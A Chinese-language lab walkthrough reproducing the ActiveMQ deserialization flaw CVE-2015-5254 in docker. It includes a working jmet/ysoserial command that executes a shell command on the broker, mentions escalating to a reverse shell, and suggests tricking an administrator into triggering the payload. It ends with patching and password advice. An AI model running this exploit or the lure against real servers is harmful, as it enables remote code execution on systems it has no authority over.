

在项目内网中,由于甲方所使用的版本无法及时更新,或者由于业务无法更新,所以会出现许多某些服务老版本所存在的漏洞,在此将介绍一个发序列化漏洞-CVE-2015-5254 ActiveMQ 反序列化漏洞
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
docker
启动docker
docker-compose up -d
纯文本

访问8161端口
访问
http://192.168.254.128:8161/admin/browse.jsp?JMSDestination=event,这里保存着事件

使用jmet测试是否能执行命令
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
纯文本
此时会给目标ActiveMQ添加一个名为event的队列,我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息,刷新页面
此时说明执行成功
将命令修改为反弹shell命令


执行成功,点击信息ID
反弹成功
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
对于该漏洞,利用条件之一就是弱口令进入,所以需要对口令进行修改成为复杂口令,其次就是打补丁,升级版本,或者是在waf中进行配置相关规则进行拦截。



